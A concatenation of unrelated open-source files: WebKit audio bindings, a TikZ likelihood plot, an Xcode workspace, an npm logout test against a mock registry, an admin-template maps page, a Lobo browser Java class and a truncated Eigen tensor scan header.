JSAudioListener* castedThis = static_cast<JSAudioListener*>(asObject(slotBase));
UNUSED_PARAM(exec);
AudioListener* imp = static_cast<AudioListener*>(castedThis->impl());
JSValue result = jsNumber(imp->dopplerFactor());
return result;
}
JSValue jsAudioListenerSpeedOfSound(ExecState* exec, JSValue slotBase, const Identifier&)
{
JSAudioListener* castedThis = static_cast<JSAudioListener*>(asObject(slotBase));
UNUSED_PARAM(exec);
AudioListener* imp = static_cast<AudioListener*>(castedThis->impl());
JSValue result = jsNumber(imp->speedOfSound());
return result;
}
JSValue jsAudioListenerConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
{
JSAudioListener* domObject = static_cast<JSAudioListener*>(asObject(slotBase));
return JSAudioListener::getConstructor(exec, domObject->globalObject());
}
void JSAudioListener::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
{
lookupPut<JSAudioListener, Base>(exec, propertyName, value, &JSAudioListenerTable, this, slot);
}
void setJSAudioListenerDopplerFactor(ExecState* exec, JSObject* thisObject, JSValue value)
{
JSAudioListener* castedThis = static_cast<JSAudioListener*>(thisObject);
AudioListener* imp = static_cast<AudioListener*>(castedThis->impl());
imp->setDopplerFactor(value.toFloat(exec));
}
void setJSAudioListenerSpeedOfSound(ExecState* exec, JSObject* thisObject, JSValue value)
{
JSAudioListener* castedThis = static_cast<JSAudioListener*>(thisObject);
AudioListener* imp = static_cast<AudioListener*>(castedThis->impl());
imp->setSpeedOfSound(value.toFloat(exec));
}
JSValue JSAudioListener::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
{
return getDOMConstructor<JSAudioListenerConstructor>(exec, static_cast<JSDOMGlobalObject*>(globalObject));
}
EncodedJSValue JSC_HOST_CALL jsAudioListenerPrototypeFunctionSetPosition(ExecState* exec)
{
JSValue thisValue = exec->hostThisValue();
if (!thisValue.inherits(&JSAudioListener::s_info))
return throwVMTypeError(exec);
JSAudioListener* castedThis = static_cast<JSAudioListener*>(asObject(thisValue));
AudioListener* imp = static_cast<AudioListener*>(castedThis->impl());
float x(exec->argument(0).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
float y(exec->argument(1).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
float z(exec->argument(2).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
imp->setPosition(x, y, z);
return JSValue::encode(jsUndefined());
}
EncodedJSValue JSC_HOST_CALL jsAudioListenerPrototypeFunctionSetOrientation(ExecState* exec)
{
JSValue thisValue = exec->hostThisValue();
if (!thisValue.inherits(&JSAudioListener::s_info))
return throwVMTypeError(exec);
JSAudioListener* castedThis = static_cast<JSAudioListener*>(asObject(thisValue));
AudioListener* imp = static_cast<AudioListener*>(castedThis->impl());
float x(exec->argument(0).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
float y(exec->argument(1).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
float z(exec->argument(2).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
float xUp(exec->argument(3).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
float yUp(exec->argument(4).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
float zUp(exec->argument(5).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
imp->setOrientation(x, y, z, xUp, yUp, zUp);
return JSValue::encode(jsUndefined());
}
EncodedJSValue JSC_HOST_CALL jsAudioListenerPrototypeFunctionSetVelocity(ExecState* exec)
{
JSValue thisValue = exec->hostThisValue();
if (!thisValue.inherits(&JSAudioListener::s_info))
return throwVMTypeError(exec);
JSAudioListener* castedThis = static_cast<JSAudioListener*>(asObject(thisValue));
AudioListener* imp = static_cast<AudioListener*>(castedThis->impl());
float x(exec->argument(0).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
float y(exec->argument(1).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
float z(exec->argument(2).toFloat(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
imp->setVelocity(x, y, z);
return JSValue::encode(jsUndefined());
}
JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, AudioListener* impl)
{
return wrap<JSAudioListener>(exec, globalObject, impl);
}
AudioListener* toAudioListener(JSC::JSValue value)
{
return value.inherits(&JSAudioListener::s_info) ? static_cast<JSAudioListener*>(asObject(value))->impl() : 0;
}
}
#endif // ENABLE(WEB_AUDIO)
| {
"pile_set_name": "Github"
} |
\def\Y{9}
\def\X{5}
\def\C{-0.25}
\def\dX{3}
\def\dY{2.25}
\def\D{1.5}
\def\xshift{1}
\tikzset{
aponta/.style={
color=green!50!blue, rounded corners=5pt, -latex, thick
},
cotas/.style={|<->|, >=latex}
}
\begin{tikzpicture}[domain=-0.25:10.25, xscale=0.75, yscale=0.5]
% \draw[very thin,color=gray!30] (0,0) grid (10,20);
\draw[draw=gray!10] (-3,-3.4) rectangle (12,11.5);
\draw[-latex] (-0.2,0) -- (10,0) node[right] {$\theta$};
\draw[-latex] (0,-0.2) -- (0,10) node[above] (E) {$\ell(\theta)$};
\draw[color=black, thick]
plot[id=x] function{\Y+\C*(x-\X)**2}
node[right] {$\tilde{\ell}(\theta)$};
\draw[color=green!60!black, thick, thick]
plot[id=x] function{\Y*(x/\X)**\D*exp(\D*(1-x/\X))}
node[color=black, right] {$\ell(\theta)$};
\coordinate (llmax) at (\X,\Y);
\coordinate (llmaxy) at (0,\Y);
\coordinate (llmaxx) at (\X,0);
\coordinate (llhzero) at (\X+\dX,\Y-\dY);
\coordinate (llhzeroy) at (0,\Y-\dY);
\coordinate (llhzerox) at (\X+\dX,0);
\draw[dashed] (llmaxy)
node[left] {$\ell(\hat\theta)$} -| (llmaxx)
node[below] {$\hat\theta$};
\draw[dashed] (llhzeroy)
node[left] {$\ell(\hat{\theta})-\frac{1}{2}\chi_{\alpha}^2$}
-- ++(10,0);
\draw[latex-, dashed] (2,0) -- ++(llhzeroy);
\draw[latex-, dashed] (8,0) -- ++(llhzeroy);
\draw[latex-, dashed, color=green!60!black,thick]
(2.5,0) -- ++(llhzeroy);
\draw[latex-, dashed, color=green!60!black,thick]
(8.8,0) -- ++(llhzeroy);
\draw[yshift=-2.5cm, cotas] (2,0) -- (8,0)
node [right] {IC$_{\tilde{\ell}}(\theta)$};
\draw[yshift=-1.5cm, color=green!60!black, cotas] (2.5,0) -- (8.8,0)
node [right] {IC$_{\ell}(\theta)$};
\draw[cotas] (\X+\dX+\xshift,\Y) -- ++(0,-\dY)
node [midway, right, text width=3cm] {deviance\\};
\end{tikzpicture} | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "group:Pokemon Weakness.xcodeproj">
</FileRef>
<FileRef
location = "group:Pods/Pods.xcodeproj">
</FileRef>
</Workspace>
| {
"pile_set_name": "Github"
} |
var fs = require('fs')
var path = require('path')
var mkdirp = require('mkdirp')
var mr = require('npm-registry-mock')
var rimraf = require('rimraf')
var test = require('tap').test
var common = require('../common-tap.js')
var pkg = path.resolve(__dirname, 'logout')
var outfile = path.join(pkg, '_npmrc')
var opts = { cwd: pkg }
var contents = function () { /*
foo=boo
//localhost:1337/:_authToken=glarb
*/ }.toString().split('\n').slice(1, -1).join('\n')
function mocks (server) {
server.delete('/-/user/token/glarb')
.reply(200, {})
}
test('setup', function (t) {
cleanup()
setup()
t.end()
})
test('npm logout', function (t) {
mr({ port: common.port, plugin: mocks }, function (err, s) {
if (err) throw err
common.npm(
[
'logout',
'--registry', common.registry,
'--loglevel', 'silent',
'--userconfig', outfile
],
opts,
function (err, code) {
t.ifError(err, 'no error output')
t.notOk(code, 'exited OK')
var config = fs.readFileSync(outfile, 'utf8')
t.notMatch(config, /localhost/, 'creds gone')
s.close()
t.end()
}
)
})
})
test('cleanup', function (t) {
cleanup()
t.end()
})
function setup () {
mkdirp.sync(pkg)
fs.writeFileSync(outfile, contents)
}
function cleanup () {
rimraf.sync(pkg)
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<!-- META SECTION -->
<title>Joli Admin - Responsive Bootstrap Admin Template</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="icon" href="favicon.ico" type="image/x-icon" />
<!-- END META SECTION -->
<!-- CSS INCLUDE -->
<link rel="stylesheet" type="text/css" id="theme" href="css/theme-default.css"/>
<!-- EOF CSS INCLUDE -->
</head>
<body>
<!-- START PAGE CONTAINER -->
<div class="page-container">
<!-- START PAGE SIDEBAR -->
<div class="page-sidebar">
<!-- START X-NAVIGATION -->
<ul class="x-navigation">
<li class="xn-logo">
<a href="index.html">Joli Admin</a>
<a href="#" class="x-navigation-control"></a>
</li>
<li class="xn-profile">
<a href="#" class="profile-mini">
<img src="assets/images/users/avatar.jpg" alt="John Doe"/>
</a>
<div class="profile">
<div class="profile-image">
<img src="assets/images/users/avatar.jpg" alt="John Doe"/>
</div>
<div class="profile-data">
<div class="profile-data-name">John Doe</div>
<div class="profile-data-title">Web Developer/Designer</div>
</div>
<div class="profile-controls">
<a href="pages-profile.html" class="profile-control-left"><span class="fa fa-info"></span></a>
<a href="pages-messages.html" class="profile-control-right"><span class="fa fa-envelope"></span></a>
</div>
</div>
</li>
<li class="xn-title">Navigation</li>
<li>
<a href="index.html"><span class="fa fa-desktop"></span> <span class="xn-text">Dashboard</span></a>
</li>
<li class="xn-openable">
<a href="#"><span class="fa fa-files-o"></span> <span class="xn-text">Pages</span></a>
<ul>
<li><a href="pages-gallery.html"><span class="fa fa-image"></span> Gallery</a></li>
<li><a href="pages-profile.html"><span class="fa fa-user"></span> Profile</a></li>
<li><a href="pages-address-book.html"><span class="fa fa-users"></span> Address Book</a></li>
<li class="xn-openable">
<a href="#"><span class="fa fa-clock-o"></span> Timeline</a>
<ul>
<li><a href="pages-timeline.html"><span class="fa fa-align-center"></span> Default</a></li>
<li><a href="pages-timeline-simple.html"><span class="fa fa-align-justify"></span> Full Width</a></li>
</ul>
</li>
<li class="xn-openable">
<a href="#"><span class="fa fa-envelope"></span> Mailbox</a>
<ul>
<li><a href="pages-mailbox-inbox.html"><span class="fa fa-inbox"></span> Inbox</a></li>
<li><a href="pages-mailbox-message.html"><span class="fa fa-file-text"></span> Message</a></li>
<li><a href="pages-mailbox-compose.html"><span class="fa fa-pencil"></span> Compose</a></li>
</ul>
</li>
<li><a href="pages-messages.html"><span class="fa fa-comments"></span> Messages</a></li>
<li><a href="pages-calendar.html"><span class="fa fa-calendar"></span> Calendar</a></li>
<li><a href="pages-tasks.html"><span class="fa fa-edit"></span> Tasks</a></li>
<li><a href="pages-content-table.html"><span class="fa fa-columns"></span> Content Table</a></li>
<li><a href="pages-faq.html"><span class="fa fa-question-circle"></span> FAQ</a></li>
<li><a href="pages-search.html"><span class="fa fa-search"></span> Search</a></li>
<li class="xn-openable">
<a href="#"><span class="fa fa-file"></span> Blog</a>
<ul>
<li><a href="pages-blog-list.html"><span class="fa fa-copy"></span> List of Posts</a></li>
<li><a href="pages-blog-post.html"><span class="fa fa-file-o"></span>Single Post</a></li>
</ul>
</li>
<li class="xn-openable">
<a href="#"><span class="fa fa-sign-in"></span> Login</a>
<ul>
<li><a href="pages-login.html">App Login</a></li>
<li><a href="pages-login-website.html">Website Login</a></li>
<li><a href="pages-login-website-light.html"> Website Login Light</a></li>
</ul>
</li>
<li class="xn-openable">
<a href="#"><span class="fa fa-warning"></span> Error Pages</a>
<ul>
<li><a href="pages-error-404.html">Error 404 Sample 1</a></li>
<li><a href="pages-error-404-2.html">Error 404 Sample 2</a></li>
<li><a href="pages-error-500.html"> Error 500</a></li>
</ul>
</li>
</ul>
</li>
<li class="xn-openable">
<a href="#"><span class="fa fa-file-text-o"></span> <span class="xn-text">Layouts</span></a>
<ul>
<li><a href="layout-boxed.html">Boxed</a></li>
<li><a href="layout-nav-toggled.html">Navigation Toggled</a></li>
<li><a href="layout-nav-top.html">Navigation Top</a></li>
<li><a href="layout-nav-right.html">Navigation Right</a></li>
<li><a href="layout-nav-top-fixed.html">Top Navigation Fixed</a></li>
<li><a href="layout-nav-custom.html">Custom Navigation</a></li>
<li><a href="layout-frame-left.html">Frame Left Column</a></li>
<li><a href="layout-frame-right.html">Frame Right Column</a></li>
<li><a href="layout-search-left.html">Search Left Side</a></li>
<li><a href="blank.html">Blank Page</a></li>
</ul>
</li>
<li class="xn-title">Components</li>
<li class="xn-openable">
<a href="#"><span class="fa fa-cogs"></span> <span class="xn-text">UI Kits</span></a>
<ul>
<li><a href="ui-widgets.html"><span class="fa fa-heart"></span> Widgets</a></li>
<li><a href="ui-elements.html"><span class="fa fa-cogs"></span> Elements</a></li>
<li><a href="ui-buttons.html"><span class="fa fa-square-o"></span> Buttons</a></li>
<li><a href="ui-panels.html"><span class="fa fa-pencil-square-o"></span> Panels</a></li>
<li><a href="ui-icons.html"><span class="fa fa-magic"></span> Icons</a><div class="informer informer-warning">+679</div></li>
<li><a href="ui-typography.html"><span class="fa fa-pencil"></span> Typography</a></li>
<li><a href="ui-portlet.html"><span class="fa fa-th"></span> Portlet</a></li>
<li><a href="ui-sliders.html"><span class="fa fa-arrows-h"></span> Sliders</a></li>
<li><a href="ui-alerts-popups.html"><span class="fa fa-warning"></span> Alerts & Popups</a></li>
<li><a href="ui-lists.html"><span class="fa fa-list-ul"></span> Lists</a></li>
<li><a href="ui-tour.html"><span class="fa fa-random"></span> Tour</a></li>
</ul>
</li>
<li class="xn-openable">
<a href="#"><span class="fa fa-pencil"></span> <span class="xn-text">Forms</span></a>
<ul>
<li>
<a href="form-layouts-two-column.html"><span class="fa fa-tasks"></span> Form Layouts</a>
<div class="informer informer-danger">New</div>
<ul>
<li><a href="form-layouts-one-column.html"><span class="fa fa-align-justify"></span> One Column</a></li>
<li><a href="form-layouts-two-column.html"><span class="fa fa-th-large"></span> Two Column</a></li>
<li><a href="form-layouts-tabbed.html"><span class="fa fa-table"></span> Tabbed</a></li>
<li><a href="form-layouts-separated.html"><span class="fa fa-th-list"></span> Separated Rows</a></li>
</ul>
</li>
<li><a href="form-elements.html"><span class="fa fa-file-text-o"></span> Elements</a></li>
<li><a href="form-validation.html"><span class="fa fa-list-alt"></span> Validation</a></li>
<li><a href="form-wizards.html"><span class="fa fa-arrow-right"></span> Wizards</a></li>
<li><a href="form-editors.html"><span class="fa fa-text-width"></span> WYSIWYG Editors</a></li>
<li><a href="form-file-handling.html"><span class="fa fa-floppy-o"></span> File Handling</a></li>
</ul>
</li>
<li class="xn-openable">
<a href="tables.html"><span class="fa fa-table"></span> <span class="xn-text">Tables</span></a>
<ul>
<li><a href="table-basic.html"><span class="fa fa-align-justify"></span> Basic</a></li>
<li><a href="table-datatables.html"><span class="fa fa-sort-alpha-desc"></span> Data Tables</a></li>
<li><a href="table-export.html"><span class="fa fa-download"></span> Export Tables</a></li>
</ul>
</li>
<li class="xn-openable">
<a href="#"><span class="fa fa-bar-chart-o"></span> <span class="xn-text">Charts</span></a>
<ul>
<li><a href="charts-morris.html"><span class="xn-text">Morris</span></a></li>
<li><a href="charts-nvd3.html"><span class="xn-text">NVD3</span></a></li>
<li><a href="charts-rickshaw.html"><span class="xn-text">Rickshaw</span></a></li>
<li><a href="charts-other.html"><span class="xn-text">Other</span></a></li>
</ul>
</li>
<li class="active">
<a href="maps.html"><span class="fa fa-map-marker"></span> <span class="xn-text">Maps</span></a>
</li>
<li class="xn-openable">
<a href="#"><span class="fa fa-sitemap"></span> <span class="xn-text">Navigation Levels</span></a>
<ul>
<li class="xn-openable">
<a href="#">Second Level</a>
<ul>
<li class="xn-openable">
<a href="#">Third Level</a>
<ul>
<li class="xn-openable">
<a href="#">Fourth Level</a>
<ul>
<li><a href="#">Fifth Level</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<!-- END X-NAVIGATION -->
</div>
<!-- END PAGE SIDEBAR -->
<!-- PAGE CONTENT -->
<div class="page-content">
<!-- START X-NAVIGATION VERTICAL -->
<ul class="x-navigation x-navigation-horizontal x-navigation-panel">
<!-- TOGGLE NAVIGATION -->
<li class="xn-icon-button">
<a href="#" class="x-navigation-minimize"><span class="fa fa-dedent"></span></a>
</li>
<!-- END TOGGLE NAVIGATION -->
<!-- SEARCH -->
<li class="xn-search">
<form role="form">
<input type="text" name="search" placeholder="Search..."/>
</form>
</li>
<!-- END SEARCH -->
<!-- SIGN OUT -->
<li class="xn-icon-button pull-right">
<a href="#" class="mb-control" data-box="#mb-signout"><span class="fa fa-sign-out"></span></a>
</li>
<!-- END SIGN OUT -->
<!-- MESSAGES -->
<li class="xn-icon-button pull-right">
<a href="#"><span class="fa fa-comments"></span></a>
<div class="informer informer-danger">4</div>
<div class="panel panel-primary animated zoomIn xn-drop-left xn-panel-dragging">
<div class="panel-heading">
<h3 class="panel-title"><span class="fa fa-comments"></span> Messages</h3>
<div class="pull-right">
<span class="label label-danger">4 new</span>
</div>
</div>
<div class="panel-body list-group list-group-contacts scroll" style="height: 200px;">
<a href="#" class="list-group-item">
<div class="list-group-status status-online"></div>
<img src="assets/images/users/user2.jpg" class="pull-left" alt="John Doe"/>
<span class="contacts-title">John Doe</span>
<p>Praesent placerat tellus id augue condimentum</p>
</a>
<a href="#" class="list-group-item">
<div class="list-group-status status-away"></div>
<img src="assets/images/users/user.jpg" class="pull-left" alt="Dmitry Ivaniuk"/>
<span class="contacts-title">Dmitry Ivaniuk</span>
<p>Donec risus sapien, sagittis et magna quis</p>
</a>
<a href="#" class="list-group-item">
<div class="list-group-status status-away"></div>
<img src="assets/images/users/user3.jpg" class="pull-left" alt="Nadia Ali"/>
<span class="contacts-title">Nadia Ali</span>
<p>Mauris vel eros ut nunc rhoncus cursus sed</p>
</a>
<a href="#" class="list-group-item">
<div class="list-group-status status-offline"></div>
<img src="assets/images/users/user6.jpg" class="pull-left" alt="Darth Vader"/>
<span class="contacts-title">Darth Vader</span>
<p>I want my money back!</p>
</a>
</div>
<div class="panel-footer text-center">
<a href="pages-messages.html">Show all messages</a>
</div>
</div>
</li>
<!-- END MESSAGES -->
<!-- TASKS -->
<li class="xn-icon-button pull-right">
<a href="#"><span class="fa fa-tasks"></span></a>
<div class="informer informer-warning">3</div>
<div class="panel panel-primary animated zoomIn xn-drop-left xn-panel-dragging">
<div class="panel-heading">
<h3 class="panel-title"><span class="fa fa-tasks"></span> Tasks</h3>
<div class="pull-right">
<span class="label label-warning">3 active</span>
</div>
</div>
<div class="panel-body list-group scroll" style="height: 200px;">
<a class="list-group-item" href="#">
<strong>Phasellus augue arcu, elementum</strong>
<div class="progress progress-small progress-striped active">
<div class="progress-bar progress-bar-danger" role="progressbar" aria-valuenow="50" aria-valuemin="0" aria-valuemax="100" style="width: 50%;">50%</div>
</div>
<small class="text-muted">John Doe, 25 Sep 2014 / 50%</small>
</a>
<a class="list-group-item" href="#">
<strong>Aenean ac cursus</strong>
<div class="progress progress-small progress-striped active">
<div class="progress-bar progress-bar-warning" role="progressbar" aria-valuenow="80" aria-valuemin="0" aria-valuemax="100" style="width: 80%;">80%</div>
</div>
<small class="text-muted">Dmitry Ivaniuk, 24 Sep 2014 / 80%</small>
</a>
<a class="list-group-item" href="#">
<strong>Lorem ipsum dolor</strong>
<div class="progress progress-small progress-striped active">
<div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="95" aria-valuemin="0" aria-valuemax="100" style="width: 95%;">95%</div>
</div>
<small class="text-muted">John Doe, 23 Sep 2014 / 95%</small>
</a>
<a class="list-group-item" href="#">
<strong>Cras suscipit ac quam at tincidunt.</strong>
<div class="progress progress-small">
<div class="progress-bar" role="progressbar" aria-valuenow="100" aria-valuemin="0" aria-valuemax="100" style="width: 100%;">100%</div>
</div>
<small class="text-muted">John Doe, 21 Sep 2014 /</small><small class="text-success"> Done</small>
</a>
</div>
<div class="panel-footer text-center">
<a href="pages-tasks.html">Show all tasks</a>
</div>
</div>
</li>
<!-- END TASKS -->
</ul>
<!-- END X-NAVIGATION VERTICAL -->
<!-- START BREADCRUMB -->
<ul class="breadcrumb">
<li><a href="#">Home</a></li>
<li class="active">Maps</li>
</ul>
<!-- END BREADCRUMB -->
<!-- PAGE TITLE -->
<div class="page-title">
<h2><span class="fa fa-arrow-circle-o-left"></span> Maps</h2>
</div>
<!-- END PAGE TITLE -->
<!-- PAGE CONTENT WRAPPER -->
<div class="page-content-wrap">
<div class="row">
<div class="col-md-6">
<!-- START GOOGLE WORLD MAP -->
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Google World Map</h3>
</div>
<div class="panel-body panel-body-map">
<div id="google_world_map" style="width: 100%; height: 300px;"></div>
</div>
</div>
<!-- END GOOGLE WORLD MAP-->
</div>
<div class="col-md-6">
<!-- START GOOGLE EUROPE MAP -->
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Google Europe Map</h3>
</div>
<div class="panel-body panel-body-map">
<div id="google_eu_map" style="width: 100%; height: 300px;"></div>
</div>
</div>
<!-- END GOOGLE EUROPE MAP -->
</div>
</div>
<div class="row">
<div class="col-md-6">
<!-- START GOOGLE MAP WITH MARKER -->
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Google Map With Markers</h3>
</div>
<div class="panel-body panel-body-map">
<div id="google_ptm_map" style="width: 100%; height: 300px;"></div>
</div>
</div>
<!-- END GOOGLE MAP WITH MARKER -->
</div>
<div class="col-md-6">
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Google Map Search</h3>
<div class="pull-right" style="width: 200px;">
<input type="text" id="target" class="form-control"/>
</div>
</div>
<div class="panel-body panel-body-map">
<div id="google_search_map" style="width: 100%; height: 300px;"></div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<!-- START jVectorMap World -->
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">jVectorMap World</h3>
<div class="pull-right" style="width: 200px;">
<input type="text" class="form-control" placeholder="Select country" id="vector_world_map_value"/>
</div>
</div>
<div class="panel-body panel-body-map">
<div id="vector_world_map" style="width: 100%; height: 300px"></div>
</div>
</div>
<!-- END jVectorMap World -->
</div>
</div>
<div class="row">
<div class="col-md-6">
<!-- START jVectorMap Europe -->
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">jVectorMap Europe</h3>
</div>
<div class="panel-body panel-body-map">
<div id="vector_europe_map" style="width: 100%; height: 300px;"></div>
</div>
</div>
<!-- END jVectorMap Europe -->
</div>
<div class="col-md-6">
<!-- START jVectorMap USA -->
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">jVectorMap USA</h3>
<div class="pull-right" style="width: 200px;">
<input type="text" class="form-control" placeholder="Select state" id="vector_usa_map_value"/>
</div>
</div>
<div class="panel-body panel-body-map">
<div id="vector_usa_map" style="width: 100%; height: 300px;"></div>
</div>
</div>
<!-- END jVectorMap USA -->
</div>
</div>
</div>
<!-- PAGE CONTENT WRAPPER -->
</div>
<!-- END PAGE CONTENT -->
</div>
<!-- END PAGE CONTAINER -->
<!-- MESSAGE BOX-->
<div class="message-box animated fadeIn" data-sound="alert" id="mb-signout">
<div class="mb-container">
<div class="mb-middle">
<div class="mb-title"><span class="fa fa-sign-out"></span> Log <strong>Out</strong> ?</div>
<div class="mb-content">
<p>Are you sure you want to log out?</p>
<p>Press No if youwant to continue work. Press Yes to logout current user.</p>
</div>
<div class="mb-footer">
<div class="pull-right">
<a href="pages-login.html" class="btn btn-success btn-lg">Yes</a>
<button class="btn btn-default btn-lg mb-control-close">No</button>
</div>
</div>
</div>
</div>
</div>
<!-- END MESSAGE BOX-->
<!-- START PRELOADS -->
<audio id="audio-alert" src="audio/alert.mp3" preload="auto"></audio>
<audio id="audio-fail" src="audio/fail.mp3" preload="auto"></audio>
<!-- END PRELOADS -->
<!-- START SCRIPTS -->
<!-- START PLUGINS -->
<script type="text/javascript" src="js/plugins/jquery/jquery.min.js"></script>
<script type="text/javascript" src="js/plugins/jquery/jquery-ui.min.js"></script>
<script type="text/javascript" src="js/plugins/bootstrap/bootstrap.min.js"></script>
<!-- END PLUGINS -->
<!-- START THIS PAGE PLUGINS-->
<script src="https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false&libraries=places"></script>
<script type='text/javascript' src='js/plugins/jvectormap/jquery-jvectormap-1.2.2.min.js'></script>
<script type='text/javascript' src='js/plugins/jvectormap/jquery-jvectormap-world-mill-en.js'></script>
<script type='text/javascript' src='js/plugins/jvectormap/jquery-jvectormap-europe-mill-en.js'></script>
<script type='text/javascript' src='js/plugins/jvectormap/jquery-jvectormap-us-aea-en.js'></script>
<script type='text/javascript' src='js/plugins/icheck/icheck.min.js'></script>
<script type="text/javascript" src="js/plugins/mcustomscrollbar/jquery.mCustomScrollbar.min.js"></script>
<!-- END THIS PAGE PLUGINS-->
<!-- START TEMPLATE -->
<script type="text/javascript" src="js/settings.js"></script>
<script type="text/javascript" src="js/plugins.js"></script>
<script type="text/javascript" src="js/actions.js"></script>
<script type="text/javascript" src="js/demo_maps.js"></script>
<!-- END TEMPLATE -->
<!-- END SCRIPTS -->
</body>
</html>
| {
"pile_set_name": "Github"
} |
/*
GNU GENERAL PUBLIC LICENSE
Copyright (C) 2006 The Lobo Project
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public
License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Contact info: [email protected]
*/
package org.lobobrowser.gui;
public class DefaultFramePanelFactory implements FramePanelFactory {
public FramePanel createFramePanel(final FramePanel parent) {
return new FramePanel(parent);
}
public FramePanel createFramePanel(final String windowId) {
return new FramePanel(windowId);
}
}
| {
"pile_set_name": "Github"
} |
// This file is part of Eigen, a lightweight C++ template library
// for linear algebra.
//
// Copyright (C) 2016 Igor Babuschkin <[email protected]>
//
// This Source Code Form is subject to the terms of the Mozilla
// Public License v. 2.0. If a copy of the MPL was not distributed
// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.
#ifndef EIGEN_CXX11_TENSOR_TENSOR_SCAN_H
#define EIGEN_CXX11_TENSOR_TENSOR_SCAN_H
namespace Eigen {
namespace internal {
template <typename Op, typename XprType>
struct traits<TensorScanOp<Op, XprType> >
: public traits<XprType> {
typedef typename XprType::Scalar Scalar;
typedef traits<XprType> XprTraits;
typedef typename XprTraits::StorageKind StorageKind;
typedef typename XprType::Nested Nested;
typedef typename remove_reference<Nested>::type _Nested;
static const int NumDimensions = XprTraits::NumDimensions;
static const int Layout = XprTraits::Layout;
};
template<typename Op, typename XprType>
struct eval<TensorScanOp<Op, XprType>, Eigen::Dense>
{
typedef const TensorScanOp<Op, XprType>& type;
};
template<typename Op, typename XprType>
struct nested<TensorScanOp<Op, XprType>, 1,
typename eval<TensorScanOp<Op, XprType> >::type>
{
typedef TensorScanOp<Op, XprType> type;
};
} // end namespace internal
/** \class TensorScan
* \ingroup CXX11_Tensor_Module
*
* \brief Tensor scan class.
*/
template <typename Op, typename XprType>
class TensorScanOp
: public TensorBase<TensorScanOp<Op, XprType>, ReadOnlyAccessors> {
public:
typedef typename Eigen::internal::traits<TensorScanOp>::Scalar Scalar;
typedef typename Eigen::NumTraits<Scalar>::Real RealScalar;
typedef typename XprType::CoeffReturnType CoeffReturnType;
typedef typename Eigen::internal::nested<TensorScanOp>::type Nested;
typedef typename Eigen::internal::traits<TensorScanOp>::StorageKind StorageKind;
typedef typename Eigen::internal::traits<TensorScanOp>::Index Index;
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE TensorScanOp(
const XprType& expr, const Index& axis, bool exclusive = false, const Op& op = Op())
: m_expr(expr), m_axis(axis), m_accumulator(op), m_exclusive(exclusive) {}
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE
const Index axis() const { return m_axis; }
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE
const XprType& expression() const { return m_expr; }
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE
const Op accumulator() const { return m_accumulator; }
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE
bool exclusive() const { return m_exclusive; }
protected:
typename XprType::Nested m_expr;
const Index m_axis;
const Op m_accumulator;
const bool m_exclusive;
};
template <typename Self, typename Reducer, typename Device>
struct ScanLauncher;
// Eval as rvalue
template <typename Op, typename ArgType, typename Device>
struct TensorEvaluator<const TensorScanOp<Op, ArgType>, Device> {
typedef TensorScanOp<Op, ArgType> XprType;
typedef typename XprType::Index Index;
static const int NumDims = internal::array_size<typename TensorEvaluator<ArgType, Device>::Dimensions>::value;
typedef DSizes<Index, NumDims> Dimensions;
typedef typename internal::remove_const<typename XprType::Scalar>::type Scalar;
typedef typename XprType::CoeffReturnType CoeffReturnType;
typedef typename PacketType<CoeffReturnType, Device>::type PacketReturnType;
typedef TensorEvaluator<const TensorScanOp<Op, ArgType>, Device> Self;
enum {
IsAligned = false,
PacketAccess = (internal::unpacket_traits<PacketReturnType>::size > 1),
BlockAccess = false,
Layout = TensorEvaluator<ArgType, Device>::Layout,
CoordAccess = false,
RawAccess = true
};
EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE TensorEvaluator(const XprType& op,
const Device& device)
: m_impl(op.expression(), device),
